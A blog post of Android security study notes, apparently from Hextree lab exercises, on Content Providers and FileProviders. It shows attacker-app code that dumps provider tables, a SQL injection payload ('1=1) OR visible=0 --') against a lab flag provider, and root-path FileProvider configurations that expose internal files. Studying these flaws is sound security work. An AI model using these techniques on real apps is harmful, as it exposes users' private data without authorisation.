Post

Content & File Provider

Content & File Provider

How to Access Contacts on Android?

To learn about Content Providers, we can start by looking at the Contacts stored on the phone, and how an app can access them. This is actually also implemented with a ContentProvider.

Content Providers are identified and accessed with a content:// URI. Using the getContentResolver().query() method the URI can be querried. The returned data is a table structure that can be explored using the Cursor object.

1
2
3
Cursor cursor = getContentResolver().query(ContactsContract.RawContacts.CONTENT_URI,
                null, null,
                null, null);

Dump Content Provider

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void dump(Uri uri) {
    Cursor cursor = getContentResolver().query(uri, null, null, null, null);
    if (cursor.moveToFirst()) {
        do {
            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < cursor.getColumnCount(); i++) {
                if (sb.length() > 0) {
                    sb.append(", ");
                }
                sb.append(cursor.getColumnName(i) + " = " + cursor.getString(i));
            }
            Log.d("evil", sb.toString());
        } while (cursor.moveToNext());
    }
}

Over secured also has great articles about Content Providers.


Reverse Engineering SQLite ContentProvider

Lots of ContentProviders are backed by a SQLite database, and the provider query() is often directly mapped to a SQL query. Many Content Providers use a UriMatcher to route the incoming queries to different data.

Using adb:

1
adb shell content query --uri content://<authorites>/table_name

Using develop attacker app:

💡 Before we getting to query content provider for specific application, we need first to declare a <queries> for this application package in AndroidMainfest.xml:

1
2
3
<queries>
     <package android:name="Package_Name_Here"/>
</queries>

Then complete the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Cursor cursor = getContentResolver().query(
   Uri.parse("content://<authorites>/table_name"), 
   null, null,
   null, null
);
// dump Uri
if (cursor!=null && cursor.moveToFirst()) {
    do {
        StringBuilder sb = new StringBuilder();
        for (int i = 0; i < cursor.getColumnCount(); i++) {
            if (sb.length() > 0) {
                sb.append(", ");
            }
            sb.append(cursor.getColumnName(i) + " = " + cursor.getString(i));
        }
        Log.d("dumpedData", sb.toString());
    } while (cursor.moveToNext());
}

SQL Injection in Content Providers

Example on code cause SQlite error:

1
2
3
4
5
Cursor cursor = getContentResolver().query(
        Uri.parse("content://io.hextree.flag32/flags"),
        null, "#)@#rd32",
        null, null
);

The Error code:

I noticed the our code putted in () so i bypass it via this code:

1
2
3
4
5
Cursor cursor = getContentResolver().query(
        Uri.parse("content://io.hextree.flag32/flags"),
        null, "1=1) OR visible=0 --",
        null, null
);

Sharing Provider Access Permissions

Sharing access to Content Provider is a central feature of Android. It is used all the time to give other apps access, without giving direct file access. A typical <provider> looks like this:

1
2
3
4
5
6
<provider
    android:name=".providers.Flag33Provider1"
    android:authorities="io.hextree.flag33_1"
    android:enabled="true"
    android:exported="false"
    android:grantUriPermissions="true" />

The provider is generally not exported with android:exported="false" but the attribute android:grantUriPermissions="true" is set. This means the provider cannot be directly interacted with. But the app can allow another app to query the provider, when sending an Intent with a flag such as GRANT_READ_URI_PERMISSION.

For example an app might start an Activity and expect a result. The target app can then share access to its content provider by returning such an Intent back to the caller class.

1
2
3
intent.setData(Uri.parse("content://io.hextree.example/flags"));
intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
setResult(RESULT_OK, intent);

Hijacking Content Provider Access

While apps can intentionally share access to Content Providers, sometimes apps can also be forced to do it unintentionally.


How To Access FileProvider

Android Jetpack (or androidx) is a commonly used official library implementing lots of useful classes. Including the widely used FileProvider.

Such a provider can easily be identified in the Android manifest where it references the androidx.core.content.FileProvider name.

1
2
3
4
5
6
7
8
<provider android:name="androidx.core.content.FileProvider"
          android:exported="false"
          android:authorities="io.hextree.files"
          android:grantUriPermissions="true">
    <meta-data android:name="android.support.FILE_PROVIDER_PATHS"
               android:resource="@xml/filepaths"/>
</provider>

Notable is the referenced XML file filepaths.xml which contains the configuration for this FileProvider.

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<paths>
    <files-path name="flag_files" path="flags/"/>
    <files-path name="other_files" path="."/>
</paths>

A typical URI generated for this FileProvider could look like this content://io.hextree.files/other_files/secret.txt. Where the sections can be read like so:

  • content:// it’s a content provider
  • io.hextree.files the authority from the android manifest
  • other_files which configuration entry is used
  • /secret.txt the path of the file relative to the configured path in the .xml file

Insecure root-path FileProvider Config

Compare the filepaths.xml to the rootpaths.xml file provider configuration. Why is the <root-path> considered “insecure”?

filepaths.xml

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?>
<paths>
		<files-path 
		name="flag_files" 
		path="flags/"/>
		<files-path 
		name="other_files" 
		path="."/>
</paths>

Remember that the file provider configuration is used to generate file sharing URIs such as content://io.hextree.files/other_files/secret.txt. These sections can be read like so:

  • content:// it’s a content provider
  • io.hextree.files the authority from the android manifest
  • other_files which configuration entry is used
  • /secret.txt the path of the file relative to the configured path in the .xml file

rootpaths.xml

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<paths>
    <root-path name="root_files" path="/"/>
</paths>

The file provider with a <root-path> configuration will generated URIs like this 

content://io.hextree.files/root_files/data/data/io.hextree.attacksurface/files/secret.txt.

If we decode these sections we can see that this provider can map files of the entire filesystem

  • content:// it’s a content provider
  • io.hextree.root the authority from the android manifest
  • root_files which configuration entry is used
  • /data/data/io.hextree.attacksurface/files/secret.txt the path of the file relative to the configured path, which is mapped to the filesystem root!

In itself the <root-path> configuration is not actually insecure, as long as only trusted files are shared. But if the app allows an attacker to control the path to any file, it can be used to expose arbitrary internal files.


FileProvider Write Access

Besides sharing content providers with read permissions, an app can also share write permissions

1
2
3
4
// ...
intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
intent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);

Note that in decompiled code the integer constants FLAG_GRANT_READ_URI_PERMISSION are probably directly referenced. Which means:

  • addFlags(1) = FLAG_GRANT_READ_URI_PERMISSION
  • addFlags(2) = FLAG_GRANT_WRITE_URI_PERMISSION
  • addFlags(3) = both FLAG_GRANT_READ_URI_PERMISSION | FLAG_GRANT_WRITE_URI_PERMISSION

THANKS FOR READING ❤️

This post is licensed under CC BY 4.0 by the author.